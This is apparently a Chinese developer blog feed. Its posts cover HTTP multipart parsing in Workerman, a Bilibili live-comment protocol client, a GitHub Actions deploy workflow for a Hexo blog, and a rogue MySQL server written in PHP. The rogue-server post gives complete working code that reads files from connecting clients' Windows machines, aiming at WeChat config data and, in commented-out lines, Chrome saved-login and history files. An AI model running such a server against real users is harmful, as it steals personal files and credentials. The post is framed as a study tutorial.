数据块的头部信息可能存在多行,所以需要通过 \r\n 分割头部信息字符串得到头部信息的数组。
然后遍历该数组,在循环中通过 : 分割每行的头部信息,得到字段名 $header_key 和字段值 $header_value 。
foreach (\explode("\r\n", $boundary_header_buffer) as $item) {
list($header_key, $header_value) = \explode(": ", $item);
$header_key = \strtolower($header_key);
switch ($header_key) {
case "content-disposition":
// 匹配到了 filename 说明是文件数据
if (\preg_match('/name="(.*?)"; filename="(.*?)"/i', $header_value, $match)) {
$error = 0;
$tmp_file = '';
// 获取文件大小
$size = \strlen($boundary_value);
// 获取上传临时目录
$tmp_upload_dir = HTTP::uploadTmpDir();
if (!$tmp_upload_dir) {
$error = UPLOAD_ERR_NO_TMP_DIR;
} else {
// 使用 tempnam 函数在临时目录下创建一个唯一文件名的临时文件
$tmp_file = \tempnam($tmp_upload_dir, 'workerman.upload.');
// 文件创建成功后,将数据块的值写入到文件中
if ($tmp_file === false || false == \file_put_contents($tmp_file, $boundary_value)) {
$error = UPLOAD_ERR_CANT_WRITE;
}
}
// 格式化上传的文件信息
$files[$key] = array(
'key' => $match[1], // 表单中的字段名
'name' => $match[2], // 文件名称
'tmp_name' => $tmp_file, // 临时文件的完整路径
'size' => $size, // 文件大小
'error' => $error // 错误
);
break;
} else {
// 未匹配到 filename 说明是 POST 字段,需要解析 $_POST.
if (\preg_match('/name="(.*?)"$/', $header_value, $match)) {
$this->_data['post'][$match[1]] = $boundary_value;
}
}
break;
case "content-type":
// 添加文件类型
$files[$key]['type'] = \trim($header_value);
break;
}
}
switch 中的逻辑就是判断 $header_key 的值,然后执行相应的操作。
HTTP 消息是服务器和客户端之间交换数据的方式。有两种类型的消息︰ 请求(requests)--由客户端发送用来触发一个服务器上的动作;响应(responses)--来自服务器的应答。
HTTP消息由采用 ASCII 编码的多行文本构成。
说白了就是客户端与服务端通信的协议,就像人与人之间进行交流,大家都要用相同的语言(协议)才能进行沟通(通信)。
来看一个简单的 GET 请求协议的数据:
GET /index.html?name=her-cat HTTP/1.1\r\n
Host: 127.0.0.1:8081\r\n
Connection: keep-alive\r\n
Accept: text/html\r\n
\r\n
这里通过多行展示只是为了看起来更清晰,实际上不会有视觉上的换行。
第一行是 请求行(Request Line),由请求方法、请求地址(包含请求参数)、HTTP 协议版本三部分组成,通过空格分隔;服务端只需要解析该行就可以知道客户端通过什么方式取哪里的数据。
第二、三行是 请求头(Request Header),每行以 字段: 值 方式组成,用来携带一些请求信息。比如 Host 就是目标主机的地址和端口号,Connection 就是连接方式。
第四行是一个 CRLF(又称回车换行符:\r\n),用来表示请求头信息到此结束。
在传输过程中协议的数据实际是这样的:
GET /index.html?name=her-cat HTTP/1.1\r\nHost: 127.0.0.1:8081\r\nConnection: keep-alive\r\nAccept: text/html\r\n\r\n
可以看到最后有两个连续的 CRLF,第一个是上一行的结束标识,第二个是请求头结束标识。
通过判断数据中是否包含两个连续的 CRLF 来确定 HTTP 请求头是否读取完毕。
下面是 Workerman 的实现:
// source: Workerman/Protocols/Http.php
/**
* 返回值为 0 有两种情况:
* 1) 如果断开了连接,表示不再接收数据
* 2) 如果未断开连接,表示需要继续接收数据
*
* 返回值大于 0 表示 HTTP 协议包的大小或请求体的大小
*
*/
public static function input($recv_buffer, TcpConnection $connection)
{
// 判断收到的数据中是否包含两个连续的 CRLF
$crlf_pos = \strpos($recv_buffer, "\r\n\r\n");
// false 说明不包含,需要继续接收数据
if (false === $crlf_pos) {
// 判断请求头数据长度是否超限
if ($recv_len = \strlen($recv_buffer) >= 16384) {
// 超限则断开连接并响应 413 状态码
$connection->close("HTTP/1.1 413 Request Entity Too Large\r\n\r\n");
return 0;
}
return 0;
}
// 请求头长度,+4 是将两个 CRLF 的长度算上
$head_len = $crlf_pos + 4;
// 请求方式
$method = \strstr($recv_buffer, ' ', true);
if ($method === 'GET' || $method === 'OPTIONS' || $method === 'HEAD' || $method === 'DELETE') {
// 这几种方法不需要接收请求体,直接返回请求头长度
return $head_len;
} else if ($method !== 'POST' && $method !== 'PUT') {
// 非法的请求方式
$connection->close("HTTP/1.1 400 Bad Request\r\n\r\n", true);
return 0;
}
// 到这里说明本次是 POST 或 PUT 请求,在后面的 POST 请求中讲解。
}
POST 请求其实跟 GET 差不多,只不过请求方法是 POST,多了一个请求体。
POST / HTTP/1.1\r\n
Host: 127.0.0.1:8080\r\n
Connection: keep-alive\r\n
Content-Length: 28\r\n
Accept: text/html\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
name=her-cat&password=123456
name=her-cat&password=123456 就是请求体的内容。
Content-Length 字段用来表示请求体的大小,如果请求体为空,那么该值为 0。
在接收 HTTP 协议数据时,可以通过 Content-Length 字段判断请求数据是否接收完毕。
当 Content-Length 等于已接收的字节数时,说明已经读取完毕了。
public static function input($recv_buffer, TcpConnection $connection)
{
...上面解析 GET 请求的逻辑...
// 获取请求头的内容
$header = \substr($recv_buffer, 0, $crlf_pos);
// 请求体的长度
$length = false;
// 解析请求体的长度
if ($pos = \strpos($header, "\r\nContent-Length: ")) {
$length = $head_len + (int)\substr($header, $pos + 18, 10);
} else if (\preg_match("/\r\ncontent-length: ?(\d+)/i", $header, $match)) {
$length = $head_len + $match[1];
}
if ($length !== false) {
// 返回请求体的长度
return $length;
}
// 未解析到 Content-Length 字段则断开连接并响应 400 状态码
$connection->close("HTTP/1.1 400 Bad Request\r\n\r\n", true);
return 0;
}
Content-Type 字段表示请求体的类型,这个值可以通过 form 表单的 enctype 属性指定,有 application/x-www-form-urlencoded、 multipart/form-data 两种类型,下面分别介绍一下两种类型的区别。
当 enctype 为 application/x-www-form-urlencoded 时,在发送到服务端之前,会先将表单的数据转为 名称=值 的格式,再通过 & 符号将它们拼接起来。
如果名称或值有特殊字符,则会先将它们进行 urlencode(又叫百分号编码),编码方法很简单,在该字节 ASCII 码的 16 进制字符前面加 %。
比如 & 字符,ASCII 码是 38,对应 16 进制是 26,那么 urlencode 编码结果是 %26。
用 PHP 实现该过程:
$form_params = [
'&name' => 'her-cat=',
'password' => '123456&',
];
$data = [];
foreach ($form_params as $name => $value) {
$data[] = urlencode($name).'='.urlencode($value);
}
$body = implode('&', $data);
echo $body;
// 输出:%26name=her-cat%3D&password=123456%26
PHP 服务端接收到该数据后,可以使用 parse_str 函数得到表单数据。
注意,application/x-www-form-urlencoded 类型下,请求体末尾没有 CRLF。
当 enctype 为 multipart/form-data 时,收到的 HTTP 数据:
POST / HTTP/1.1\r\n
Host: 127.0.0.1:8080\r\n
Connection: keep-alive\r\n
Content-Length: 243\r\n
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySyX8l4XxjtjHAusG\r\n
\r\n
------WebKitFormBoundarySyX8l4XxjtjHAusG\r\n
Content-Disposition: form-data; name="name"\r\n
\r\n
her-cat\r\n
------WebKitFormBoundarySyX8l4XxjtjHAusG\r\n
Content-Disposition: form-data; name="file"; filename="code.txt"
Content-Type: text/plain\r\n
\r\n
hello her-cat\r\n
------WebKitFormBoundarySyX8l4XxjtjHAusG--\r\n
相对于上一种类型,multipart/form-data 要复杂一些,因为这种类型不仅仅可以用来提交表单数据,本文的重点“文件上传”也是用的该类型,只不过它们的格式有一点点不同。
可以看到 Content-Type 中除了 multipart/form-data,还多了 boundary=—-WebKitFormBoundarySyX8l4XxjtjHAusG。
boundary 翻译过来就是边界的意思,它表示了数据块在请求体中的边界,后面的值就是分割请求体中数据块的边界值。
在边界值的前面添加 -- 才是在请求体中实际的边界值。
----WebKitFormBoundarySyX8l4XxjtjHAusG // 请求头中的边界值
------WebKitFormBoundarySyX8l4XxjtjHAusG // 请求体中的边界值
boundary 的值并非是固定的,可以是 1 到 70 个字符组成的随机字符串,不同的浏览器中 boundary 的生成规则也不一样。
Content-Disposition 存储了数据块的内容信息,form-data 表示是表单数据,name 字段表示该数据块的名称,如果有 filename 字段说明该数据块是用来存储文件上传的数据,filename 字段存储的是文件名称。
Content-Type 字段只会在文件上传时才会存在,用于表示数据块的内容类型。比如 text/plain 表示纯文本、image/jpeg 表示 jpg 图片、video/mp4 表示视频。
详见:MIME 类型
紧接着一个空白行(实际上是 CRLF)后面的就是数据块的内容。如果数据块是普通的表单数据,这里就是它的值,如果是文件上传,那么这里就是文件的内容了。
最后,通过在边界值的后面添加 -- 表示请求体结束。
这篇文章其实是 “Workerman 源码分析:基于 HTTP 协议实现文件上传” 的前半部分,写的时候发现大部分都是在讲 HTTP 协议,索性分成了两篇文章。
本文对于 HTTP 协议的描述仅仅是一小部分,如果想要深入的了解,推荐阅读 MDN 的文档。
参考链接:
]]>无意间发现 MySQL蜜罐获取攻击者微信ID 这篇文章,读完后觉得挺有意思的,于是想用 PHP 实现一下。
通过文章了解到,可以启动一个 TCP 服务伪装成 MySQL 服务,当有人通过客户端连接进来时,不管用什么账号密码都提示登录成功,然后利用 MySQL 通信机制可以读取客户端所在的电脑上的文件。

先定义一些会用到的常量。
define('SERVER_ADDRESS', '0.0.0.0'); // 服务地址
define('SERVER_PORT', 8080); // 端口号
define('BUF_MAX_SIZE', 1024 * 100); // 每次最多读取多少字节的数据
// MySQL 信息报文(版本号、salt等信息)
define('MYSQL_INFO_MESSAGE', "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00");
// MySQL 认证成功报文
define('MYSQL_AUTH_SUCCESS', "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00");
创建一个 TCP Socket 用于接收并处理客户端的连接,socket_accept 函数返回的是一个已经通过 TCP 三次握手后的连接。
// 创建 TCP Socket
$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 将 Socket 绑定到指定的主机地址和端口上
socket_bind($server, SERVER_ADDRESS, SERVER_PORT);
// 开始监听 Socket
socket_listen($server);
// 这里 while true 是为了处理完一个连接之后,又可以继续处理下一个连接
while (true) {
// 由于我们刚刚创建的 $server 是阻塞 IO,
// 所以代码运行到这的时候会阻塞住,会将 CPU 让出去,
// 直到有客户端来连接
$conn = socket_accept($server);
// 后面的代码都是从这开始的
}
到这里一个简单的 TCP 服务就完成了。
由于 socket_accept 后面的代码是本文的重点,所以将这部分单独拿出来。
接下来要做的事情就是伪装 MySQL 服务与客户端进行交互。
在此之前,我们先了解一下 MySQL 服务端与客户端通信的过程。
用代码实现上面服务端做的事情。
// 发送 MySQL 服务信息报文
socket_write($conn, MYSQL_INFO_MESSAGE);
// 读取账号密码
socket_read($conn, BUF_MAX_SIZE);
// 发送认证成功报文
socket_write($conn, MYSQL_AUTH_SUCCESS);
// 读取设置编码的报文
socket_read($conn, BUF_MAX_SIZE);
服务端需要根据客户端的 IP 为客户端建立一个目录,用于保存从客户端读取到的文件。
function get_log_path($conn)
{
/* 从连接中获取 ip 地址 */
socket_getsockname($conn, $remote_ip);
$log_path = __DIR__.'/log/'.$remote_ip;
if (!is_dir($log_path)) {
mkdir($log_path, 0777, true);
}
return $log_path;
}
封装一个函数用来发送读取文件的报文并获取客户端返回的文件内容。
报文格式:文件名的长度转换为字符 + \x00\x00\x01\xFB + 文件名
function read_file($conn, $filename)
{
// 构造读取文件的报文
$packet = chr(strlen($filename) + 1)."\x00\x00\x01\xFB".$filename;
// 发送读取文件的报文
$result = socket_write($conn, $packet);
if ($result === false) {
return false;
}
// 读取客户端发过来的文件内容
return socket_read($conn, BUF_MAX_SIZE);
}
在收到设置编码的报文之后,先读取客户端电脑上的 C:/Windows/PFRO.log 文件,然后将读取到的文件内容保存到指定的目录中。
为什么要读取这个文件?
因为在获取用户微信 ID 等信息之前,需要知道客户端电脑使用的用户名,而在大多数 Windows 电脑上都有 C:/Windows/PFRO.log` 这个文件。
所以大概率能从这个文件中找到用户名(注意并不是 100% 能找到)。
// 不存在 PFRO.log 说明是第一次连接,需要先获取该文件
if (!file_exists("{$log_path}/PFRO.log")) {
// 读取文件内容
$content = read_file($conn, 'C:/Windows/PFRO.log');
if ($content === false) {
printf("read PFRO.log failed, %s\n", socket_last_error());
socket_close($conn);
continue;
}
printf("read PFRO.log success...\n");
// 断开连接
socket_close($conn);
// 保存文件内容
file_put_contents("{$log_path}/PFRO.log", $content);
continue;
}
为什么读取到 PFRO.log 文件之后就断开连接?
运行到这一段代码的时候, 客户端与服务端已经认证完成了,就算服务端不断开连接,客户端也会断开。
客户端第一次连接时保存了 PFRO.log 文件,第二次连接时就可以通过这个文件得到电脑用户名,从而可以去获取保存微信 ID 的文件了。
// 读取文件内容并替换特殊字符
$content = file_get_contents("{$log_path}/PFRO.log");
$content = str_replace(["\n", "\r", "\t", "\00", ' ',], '', $content);
$content = str_replace('\\', '/', $content);
// 解析出用户名
preg_match("#Users/(.*)/#", $content, $data);
$username = explode('/', $data[1])[0];
// 要获取的文件名
$filename = "C:/Users/{$username}/Documents/WeChat Files/All Users/config/config.data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/Login Data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/History";
// 保存到本地的文件名
$save_filename = str_replace(['/', ':'], ['_', ''], $filename);
// 读取该文件
$content = read_file($conn, $filename);
if ($content === false) {
printf("read %s failed, %s\n", $filename, socket_last_error());
socket_close($conn);
continue;
}
接下来解决原文中提到的如何读取大文件的问题。
当读取的文件比较大的时候,客户端会分段发送文件内容,所以服务端也要多次读取才能得到完整的文件。
为了避免客户端没有发送数据或数据已经读取完了导致 socket_read 一直处于阻塞状态,需要先将连接设置为非阻塞的。
当没有读取到数据时 socket_read 会立即返回并停止循环。
// 设置为非阻塞
socket_set_nonblock($conn);
do {
printf("read %d bytes from %s...\n", strlen($content), $filename);
// 以追加的方式写入文件内容
file_put_contents("{$log_path}/{$save_filename}", $content, FILE_APPEND);
// 继续读取文件内容,当文件内容为空时说明读完了
$content = socket_read($conn, BUF_MAX_SIZE);
} while (!empty($content));
// 关闭连接
socket_close($conn);
通过本文可以了解到:
⚠️ 注意!!!本文及源码仅用于学习研究!请勿用于商业或非法目的,否则后果自负。
参考链接:
]]>经过搜索发现了一篇讲解 Bilibili 直播弹幕协议的文章(链接在文末),通过这篇文章了解到了弹幕的协议格式以及大致的流程,开发过程中遇到的一些问题参考了弹幕姬的解决思路。
本文源码的 GitHub 地址:https://github.com/her-cat/bilibili-barrage
弹幕协议由头部和数据组成,头部的长度是固定的 16 字节,数据的长度 = 数据包总长度 - 头部的长度。
协议的字节序均为大端模式。高字节在低地址,低字节在高地址,比如 0x1234,在大端模式下存储是 0x12 0x34,在小端模式下是 0x34 0x12。
下面是弹幕协议的格式。
字段对照表:
| 字段 | 含义 |
|---|---|
| packet_len | 数据包的总长度 |
| header_len | 头部长度(固定为 16 字节) |
| version | 协议版本号(默认为 2) |
| opcode | 操作码,用来标识数据包的类型(详情见下表) |
| magic_number | 魔术数字(默认为 1) |
| data | 携带的数据,长度 = packet_len - header_len |
| 操作码 | 常量 | 含义 |
|---|---|---|
| 2 | Opcode::CLIENT_HEARTBEAT | 客户端发送的心跳包 |
| 3 | Opcode::POPULARITY_VALUE | 人气值,数据是 4 字节整数 |
| 5 | Opcode::CMD | 命令,数据中[‘cmd’]表示具体命令(见下表) |
| 7 | Opcode::AUTHENTICATION | 认证并加入房间 |
| 8 | Opcode::SERVER_HEARTBEAT | 服务器发送的心跳包 |
| 命令 | 常量 | 含义 |
|---|---|---|
| INTERACT_WORD | CMD::INTERACT_WORD | 进入直播间 |
| DANMU_MSG | CMD::DANMU_MSG | 弹幕消息 |
| SEND_GIFT | CMD::SEND_GIFT | 送礼物 |
| COMBO_SEND | CMD::COMBO_SEND | 连续送礼物 |
| NOTICE_MSG | CMD::NOTICE_MSG | 通知消息 |
| ONLINE_RANK_V2 | CMD::ONLINE_RANK_V2 | 在线 PK |
常量列是对应的值在代码中的常量名。
跟协议相关的操作都放在了 Packet 类中,将一些固定的值设置成了类的常量。
/**
* 头部长度
*/
const HEADER_LEN = 16;
/**
* 协议版本
*/
const PROTOCOL_VERSION = 2;
/**
* 魔法数字,设置为 1 即可
*/
const MAGIC_NUMBER = 1;
先来看看打包弹幕协议的逻辑,先计算出数据包的总长度,然后将头部信息及数据打包成二进制数据。
public static function pack($opcode, $payload = '')
{
$packetLen = static::HEADER_LEN;
if (!empty($payload)) {
$packetLen += strlen($payload);
}
return pack('NnnNN', $packetLen, static::HEADER_LEN, static::PROTOCOL_VERSION, $opcode, static::MAGIC_NUMBER).$payload
}
这里简单讲下 pack/unpack 函数的使用。
pack 就是将输入参数打包成指定格式的二进制数据,上面的 n、N 就是指定的格式,分别表示无符号短整型(16位,大端字节序)、无符号长整型(32位,大端字节序)。
第一个 N 就是以 无符号长整型(32位,大端字节序) 的格式打包 数据包总长度。 第二个 n 就是以 无符号短整型(16位,大端字节序) 的格式打包 头部长度。 第三个 n 就是以 无符号短整型(16位,大端字节序) 的格式打包 协议版本号。 后面的以此类推…
上面使用的是 PHP 可变参数的方式进行打包,也可以将每个数据单独打包最后再拼在一起,效果也是一样的。
return sprintf(
'%s%s%s%s%s%s',
pack('N', $packetLen),
pack('n', static::HEADER_LEN),
pack('n', static::PROTOCOL_VERSION),
pack('N', $opcode),
pack('N', static::MAGIC_NUMBER),
$payload
);
更多的介绍可以看 https://www.php.net/manual/zh/function.pack.php
unpack 就是 pack 的反向操作,根据指定的格式将二进制数据解压到数组中。
每条数据以 指定的格式 + key 的方式组成,多条数据用 / 分隔。
举个例子:
$data = pack('Nnn', 2021, 3, 31);
var_dump($data);
$arr = unpack('Nyear/nmonth/nday', $data);
var_dump($arr);
// 输出:
string(8) "\000\000�\000\000"
array(3) {
'year' => int(2021)
'month' =>int(3)
'day' => int(31)
}
打包的时候是按照 Nnn 的格式打包的,所以解压的时候也是按照 Nnn 的格式来的,只不过需要在每个格式的右边指定以这个格式解压出来的数据对应的 key 是什么。
Nyear 就是以 无符号长整型(32位,大端字节序) 的格式解压,并将 year 作为该数据的 key。 nmonth 就是以 无符号短整型(16位,大端字节序) 的格式解压,并将 month 作为该数据的 key。 …
接下来看看解压弹幕协议的逻辑,其实跟上面说的一样,按照打包的顺序然后指定对应的 key 就可以了。
public static function unpack($data)
{
if (empty($data)) {
return [];
}
return unpack('Npacket_len/nheader_len/nprotocol_version/Nopcode/Nmagic_number/a*payload', $data);
}
a 表示字符串,* 表示任意长度,更严谨一点应该将 * 改为数据的长度( 数据包总长度 - 头部长度)
这篇文章发出来之后,我试着用 Node.js 来处理弹幕协议,发现写起来是真的舒服。
const PACKET_HEADER_LEN = 16;
const PACKET_PROTOCOL_VERSION = 2;
const PACKET_MAGIC_NUMBER = 1;
class Packet {
static pack(opcode, payload = '') {
let packet_len = PACKET_HEADER_LEN;
if (payload.length > 0) {
packet_len += payload.length;
}
let buffer = Buffer.alloc(packet_len);
buffer.writeInt32BE(packet_len, 0);
buffer.writeInt16BE(PACKET_HEADER_LEN, 4);
buffer.writeInt16BE(PACKET_PROTOCOL_VERSION, 6);
buffer.writeInt32BE(opcode, 8);
buffer.writeInt32BE(PACKET_MAGIC_NUMBER, 12);
if (payload.length > 0) {
buffer.write(payload, PACKET_HEADER_LEN, payload.length);
}
return buffer;
}
static unpack(data) {
let buffer = Buffer.from(data);
return {
packet_len: buffer.readInt32BE(0),
header_len: buffer.readInt16BE(4),
version: buffer.readInt16BE(6),
opcode: buffer.readInt32BE(8),
magic_number: buffer.readInt32BE(12),
data: buffer.slice(PACKET_HEADER_LEN),
};
}
}
接下来看看如何通过弹幕服务器的认证,并在加入房间之后维护在线状态,我将这部分逻辑都放在了 BilibiliBarrage 类中。
在连接弹幕服务器之前,需要通过房间 id 获取到弹幕服务器的地址和端口号,还有认证需要用到的 token。
const CHAT_CONFIG_URL = 'https://api.live.bilibili.com/room/v1/Danmu/getConf?room_id=%d';
/**
* 获取直播间配置
* @param $room_id
* @return mixed
* @throws \Exception
*/
public static function getChatConfig($room_id)
{
if (isset(static::$roomConfigs[$room_id])) {
return static::$roomConfigs[$room_id];
}
$response = file_get_contents(sprintf(self::CHAT_CONFIG_URL, $room_id));
$response = json_decode($response, true);
if (empty($response) || $response['code'] != 0) {
throw new \Exception("Get chat conf failed, reason: {$response['msg']}");
}
static::$roomConfigs[$room_id] = $response['data'];
return $response['data'];
}
接口返回的内容(省略掉了无关的内容):
{
"code":0,
"msg":"ok",
"message":"ok",
"data":{
"refresh_row_factor":0.125,
"refresh_rate":100,
"max_delay":5000,
"port":2243,
"host":"broadcastlv.chat.bilibili.com",
"token":"pMF5ippgZMpHIHzTsfKHp9YyqmW3yEfuIuL3pXSMXJ8_9UFN-qSRIPTRxNjpNOr5HQ2-ajI0RcSQkMud2_-lMLoEN92k1glp9fOslshF5SFDqDhlEJRAvUwezoyz72ZdNh-sSqHMPsGOJGMOXZmRNA"
}
}
通过 data 中的 host 和 port 就可以对弹幕服务器发起连接,连接建立后需要发送认证包加入房间。
认证包的内容:
{
"uid": "0 表示未登录,否则为用户ID",
"roomid": "房间ID",
"protover": "协议版本号",
"platform": "平台",
"clientver": "客户端版本号",
"token": "接口返回的 token"
}
认证包的内容就是弹幕协议中携带的数据。
public static function getAuthenticatePacket($room_id, $token = null)
{
if (empty($token)) {
$token = static::getChatConfig($room_id)['token'];
}
$payload = \json_encode([
'uid' => 0,
'roomid' => $room_id,
'protover' => Packet::PROTOCOL_VERSION,
'platform' => 'web',
'token' => $token,
]);
return Packet::pack(Opcode::AUTHENTICATION, $payload);
}
返回的内容:
\000\000\000�\000\000\000\000\000\000\000\000{"uid":0,"roomid":22590309,"protover":2,"platform":"web","token":"pMF5ippgZMpHIHzTsfKHp9YyqmW3yEfuIuL3pXSMXJ8_9UFN-qSRIPTRxNjpNOr5HQ2-ajI0RcSQkMud2_-lMLoEN92k1glp9fOslshF5SFDqDhlEJRAvUwezoyz72ZdNh-sSqHMPsGOJGMOXZmRNA"}
弹幕服务器收到认证包后,会回复我们加入成功的消息,Packet::unpack 后得到消息内容:
array(6) {
'packet_len' => int(26)
'header_len' => int(16)
'protocol_version' => int(2)
'opcode' => int(8)
'magic_number' => int(1)
'payload' => string(10) "{"code":0}"
}
opcode 为 8 表示是服务器发送的心跳包,payload 是一个 JSON 字符串,code 为 0 表示连接成功。
这一步完成之后就可以收到弹幕消息了,但是还差最后一步。
弹幕服务器要求每隔 30 秒发送一次心跳包,以确定客户端还处于活跃状态。
心跳包没有数据,只需要发送 opcode 为 2 的数据包就可以了。
public static function getHeartBeatPacket()
{
return Packet::pack(Opcode::CLIENT_HEARTBEAT);
}
考虑到网络传输的因素,心跳包间隔时间一般设置小于 30 秒,防止一些原因导致心跳包没有及时发送。
可以使用 Workerman、Swoole 甚至 PHP 原生 socket 来实现弹幕客户端,那为啥要用 Workerman 呢?
简单、方便,最重要的是写起来快,不用装扩展也没有原生 socket 那么繁杂,三两下就写完了。

由于篇幅的原因,我会摘取重要的部分来讲,完整的代码可以去 GitHub 获取完整代码。
话不多说,干就完了。
Worker 进程启动后,通过 AsyncTcpConnection 创建异步 TCP 连接对象。
在 onConnect 回调中发送认证包、开启定时任务,每隔 20 秒发送一次心跳包。
$room_id = 22590309;
/* 获取直播间配置 */
$config = BilibiliBarrage::getChatConfig($room_id);
/* 创建异步 TCP 连接对象 */
$conn = new AsyncTcpConnection("tcp://{$config['host']}:{$config['port']}");
$conn->onConnect = function(TcpConnection $conn) use ($room_id, $config) {
$packet = BilibiliBarrage::getAuthenticatePacket($room_id, $config['token']);
/* 发送认证包 */
$result = $conn->send($packet, true);
if (!$result) {
Worker::safeEcho("发送认证包失败\n");
return;
}
/* 开启定时任务 */
Timer::add(BilibiliBarrage::HEART_BEAT_INTERVAL, function (TcpConnection $conn) {
/* 发送心跳包 */
$conn->send(BilibiliBarrage::getHeartBeatPacket(), true);
}, [$conn]);
};
在 onMessage 回调中,先 unpack 数据,通过 opcode 判断本次消息是做什么的,不同的消息做不同的处理。如果 opcode 为 CMD,需要通过 Packet::parsePayload 解析数据才能得到真正的消息内容。
$conn->onMessage = function($conn, $data) {
$packet = Packet::unpack($data);
/* 通过 opcode 判断消息类型 */
switch ($packet['opcode']) {
case Opcode::POPULARITY_VALUE:
Worker::safeEcho(sprintf("人气值: %d\n", Packet::parsePayload($packet['opcode'], $packet['payload'])));
break;
case Opcode::CMD:
/* 解析数据 */
$payload = Packet::parsePayload($packet['opcode'], $packet['payload']);
if (empty($payload)) {
break;
}
switch ($payload['cmd']) {
case 'INTERACT_WORD':
Worker::safeEcho("{$payload['data']['uname']} 进入直播间\n");
break;
case 'DANMU_MSG':
Worker::safeEcho("{$payload['info'][2][1]}: {$payload['info'][1]}\n");
break;
case 'SEND_GIFT':
Worker::safeEcho("{$payload['data']['uname']} {$payload['data']['action']} {$payload['data']['giftName']}\n");
break;
case 'COMBO_SEND':
Worker::safeEcho("{$payload['data']['uname']} {$payload['data']['action']} {$payload['data']['gift_name']} [combo]\n");
break;
/* 更多命令查看 \App\CMD.php 文件 */
}
break;
case Opcode::SERVER_HEARTBEAT:
Worker::safeEcho("加入房间成功\n");
break;
default:
/* 未知的 opcode 可以打印 packet */
// var_dump($packet);
break;
}
};
最后附上一张运行图:

⚠️ 注意!!!本文及源码仅用于学习研究!请勿用于商业或非法目的,否则后果自负。
相关链接:
]]>有两种方案可以自动更新:GitHub WebHook 和 GitHub Actions。
WebHook 是一种比较简单且常见的方式,在仓库配置一个回调地址并指定需要回调的事件类型即可。
比如指定了 push 事件,往该仓库 push 代码时,GitHub 就会请求配置的回调地址并携带一些信息,通过这些信息就可以检查请求是否合法、是哪个仓库的谁提交了代码,从而决定是否需要更新服务器端的代码。
详情可以看官方的文档:https://docs.github.com/cn/developers/webhooks-and-events/about-webhooks
Actions 是 GitHub 新推出来(快两年,也不算新了)的一种持续集成的方案,将上面这些操作变成一个个的任务(Job)组成工作流,当发生指定事件后触发该工作流,也可以用别人写好的工作流。
更详细的内容可以看 官方文档 和阮老师的 GitHub Actions 入门教程。
话不多说,直接贴 GitHub Actions 的配置。
# 工作流的名称
name: Hexo Blog CI
# 指定触发的条件,这里是打标签才触发该工作流,你也可以改成 on: push,只要提交代码就触发
on:
push:
tags:
- 'v*'
jobs:
build:
runs-on: ubuntu-latest
steps:
# 检查工作流是否可以访问 actions
- name: Checkout Repository master branch
uses: actions/checkout@master
# 安装 NodeJs
- name: Setup Node.js 12.x
uses: actions/setup-node@master
with:
node-version: "12.x"
# 安装 Hexo 的依赖库
- name: Setup Hexo Dependencies
run: |
npm install hexo-cli -g
npm install
# 设置 Hexo 部署的私钥
- name: Setup Deploy Private Key
env:
HEXO_DEPLOY_PRIVATE_KEY: ${{ secrets.HEXO_DEPLOY_PRIVATE_KEY }}
run: |
mkdir -p ~/.ssh/
echo "$HEXO_DEPLOY_PRIVATE_KEY" > ~/.ssh/id_rsa
chmod 600 ~/.ssh/id_rsa
ssh-keyscan github.com >> ~/.ssh/known_hosts
# 设置 Git 信息
- name: Setup Git Infomation
run: |
git config --global user.name "Git 用户名"
git config --global user.email "Git 邮箱"
# 部署 Hexo 静态文件到博客所在的分支
- name: Deploy Hexo
run: |
hexo clean
hexo generate
hexo deploy
# 部署到服务器
- name: Deploy Server
uses: appleboy/ssh-action@master
env:
SITE_DIR: 站点目录(如:/var/www/blog)
with:
host: ${{ secrets.SERVER_IP }}
port: ${{ secrets.SERVER_PORT }}
username: ${{ secrets.SERVER_USERNAME }}
key: ${{ secrets.SERVER_PRIVATE_KEY }}
envs: SITE_DIR
script: |
cd $SITE_DIR
sudo git config --global pull.rebase true
sudo git pull origin master --allow-unrelated-histories
其中 Git 用户名、Git 邮箱、站点目录 都要替换成你自己的。
首先打开 https://github.com/用户名/仓库名/settings/secrets/actions 新增几个 Action secret,在上面的执行工作流的时候会用到。
需要新增以下几项:
| Name | Value |
|---|---|
| SERVER_IP | 服务器 IP |
| SERVER_PORT | 服务器端口号 |
| SERVER_USERNAME | 用户名 |
| SERVER_PRIVATE_KEY | 服务器私钥(服务器的 ~/.ssh/id_rsa) |
| HEXO_DEPLOY_PRIVATE_KEY | 部署私钥(本地的 ~/.ssh/id_rsa) |
前三项就不多说,主要讲下后面两项怎么设置。
HEXO_DEPLOY_PRIVATE_KEY 是为了在工作流中能够提交代码到 GitHub,SERVER_PRIVATE_KEY 是为了能在工作流中登录到服务器上执行命令。
工作流被触发后,先生成博客的静态文件,并通过 hexo deploy 提交到博客所在的分支(由 Hexo 配置文件中的 deploy.branch 指定),这里涉及到提交代码,所以要配置 SSH Key。
查看电脑上是否已经生成了密钥对。
$ ll ~/.ssh
# 输出: id_rsa id_rsa.pub known_hosts
如果为空则执行以下命令,一路回车就可以了:
$ ssh-keygen -t rsa -C "你的邮箱"
这时候电脑上就会有两个文件:~/.ssh/id_rsa、~/.ssh/id_rsa.pub,分别是是私钥和公钥。
id_rsa 文件的内容就是 HEXO_DEPLOY_PRIVATE_KEY 的 Value。
然后打开 https://github.com/settings/ssh/new,将 id_rsa.pub 的内容填到 Key 里面,Title 可以随便去,然后保存。
接下来就是 SERVER_PRIVATE_KEY,登录到服务器拿到密钥对,步骤跟上面差不多,没有的话就生成。
服务器中 ~/.ssh/id_rsa 文件的内容就是 SERVER_PRIVATE_KEY 的 Value,然后将 ~/.ssh/id_rsa.pub 的内容追加到 ~/.ssh/authorized_keys 文件中。
需要注意:
更新博客时只需要打标签,然后将标签推送到云端就会触发工作流。
